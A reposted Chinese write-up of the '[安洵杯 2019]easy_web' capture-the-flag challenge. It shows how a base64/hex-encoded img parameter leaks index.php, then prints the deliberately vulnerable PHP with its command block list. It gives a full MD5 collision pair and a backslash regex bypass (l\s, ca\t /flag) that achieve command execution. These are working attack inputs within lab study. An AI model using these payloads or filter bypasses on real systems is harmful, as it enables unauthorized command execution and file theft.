当前位置: 首页 > news >正文

[安洵杯 2019]easy_web

查看源码似乎有编码,以==结尾,试试base64解码,并不对。哦仔细看了一眼这好像就是那张图片的base64编码,用的是data协议。

末尾还有提示md5 is funny。

从链接/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=可以看到有两个参数。尝试传一下cmd。发现有回显。尝试1*2,回显1*2  forbid ~,感觉是存在注入的...

如何将两个线索联系起来呢?看答案...通透了。

突破点在img传参的TXpVek5UTTFNbVUzTURabE5qYz0,进行两次base64解码得到3535352e706e67,然后再十六进制解码得到555.png,发现是图片文件,说明后端:

通过img参数解码得到文件名 → 获得文件内容(二进制形式)→ 对内容进行 Base64 编码 → 拼接成 Data URI 格式 → 传递给前端,前端直接使用该URI作为资源地址引用。

那我们尝试读取index.php源码,也进行相同编码传给img。

从页面源码中得到了base64编码的Index.php。妙

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

 首先是一个md5绕过,使用数组。尝试了一下失败了。原因在于这里使用了string将数组强制转换成字符串类型。

看了答案,存在不相等字符串的md5值相等。

(可以用小工具fastscoll生成【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞-CSDN博客)

abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FAMu%DE%8F%8FY%1Fbw%0C%C7%28%9D%5C%1DEA%D4%02I%A7%D9+3.%7F%EDTL%92%D0k%EB%E1%E4%CCD%5C%86%EBEU%12%F4%AD%7D%28%EC%C6%EAuU%0BMp%9A%05%ECo%2A%A5%7F%241%F8%1F%E2XfB%16%ADd%BD%3ANg%3E%E7GS%BAJd%E0%A2%F8%0D%C5+%80%AB_%88%D7%CB%B5d4%9F%04%8D%5C9%0A%CAr%A8%1B%16%D9Y%F9%DA%0A%FC8f%B3%8A%B3o%DF%FD%9B%E3%CA

abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FAMu%DE%8F%8FY%1Fbw%0C%C7%28%9D%5C%1DEA%D4%82I%A7%D9+3.%7F%EDTL%92%D0k%EB%E1%E4%CCD%5C%86%EBEU%12%F4-%7E%28%EC%C6%EAuU%0BMp%9A%05%EC%EF%2A%A5%7F%241%F8%1F%E2XfB%16%ADd%BD%3ANg%3E%E7GS%BA%CAd%E0%A2%F8%0D%C5+%80%AB_%88%D7%CB%B5d4%9F%04%8D%5C9%0A%CAr%A8%9B%15%D9Y%F9%DA%0A%FC8f%B3%8A%B3o_%FD%9B%E3%CA

 这里进行了url编码是因为存在不可见字符。

   另外还看到一个知识----哈希长度拓展攻击

  • 在 $hash = md5($secret.$key) 中已知 $hash 和 $key 以及 $secret 的长度时
  • 可以找到另一个 $_hash 和 $_key 使得 $_hash = md5($secrect.$_key) 成立

 最后通过命令执行获得flag,但是这里过滤了好多的字符,但是一些关键字的过滤我们可以使用"\",因为这里过滤用的是pre_match(....)。而且在执行系统命令时"\"会被当作转义字符。

 还好这里空格没有被禁用。于是:

POST  /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=l\s%20/ 

a=...&b=...

看到有flag。

POST  /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t%20/flag

a=...&b=...

就拿到啦! 

http://www.dtcms.com/a/285778.html

相关文章:

  • 深度学习×第10卷:她用一块小滤镜,在图像中找到你
  • DOM 文档对象模型
  • 【移动端知识】移动端多 WebView 互访方案:Android、iOS 与鸿蒙实现
  • Esbuild-新一代极速前端构建打包工具
  • 基于单片机多功能称重电子称设计
  • 前端下载文件并按GBK编码解析内容
  • C#`Array`进阶
  • Java全栈面试实录:从Spring Boot到AI大模型的深度解析
  • 现代R语言机器学习:Tidymodel/Tidyverse语法+回归/树模型/集成学习/SVM/深度学习/降维/聚类分类与科研绘图可视化
  • 135. Java 泛型 - 无界通配符
  • 【PTA数据结构 | C语言版】二叉堆的朴素建堆操作
  • 防爆手机是什么?能用普通手机改装吗?
  • 国产替代:ASP4644在电信通信设备中的测试与应用前景
  • 上网行为管理-web认证服务
  • Kotlin封装
  • JVM常用运行时参数说明
  • 机器人行业10年巨变从协作机器人到具身智能的萌芽、突破和成长——从 Automatic慕尼黑10 年看协作机器人到具身智能的发展
  • 基于单片机汽车驾驶防瞌睡防疲劳报警器自动熄火设计
  • Git--本地仓库的学习
  • 深入解析Linux系统启动全流程
  • 【Leecode 随笔】
  • 系统分析师-计算机系统-指令系统多处理机系统
  • 【案例教程】基于现代R语言【Tidyverse、Tidymodel】的机器学习方法与案例分析实践技术应用
  • 如何将 iPhone 备份到笔记本电脑?
  • mac mlx大模型框架的安装和使用
  • Web前端入门:JavaScript async await 的异步任务进化之路
  • 深入解析文本分类技术全景:从特征提取到深度学习架构
  • 【项目】MCP+GraphRAG搭建检索增强智能体
  • -lstdc++与-static-libstdc++的用法和差异
  • 谈进程间通信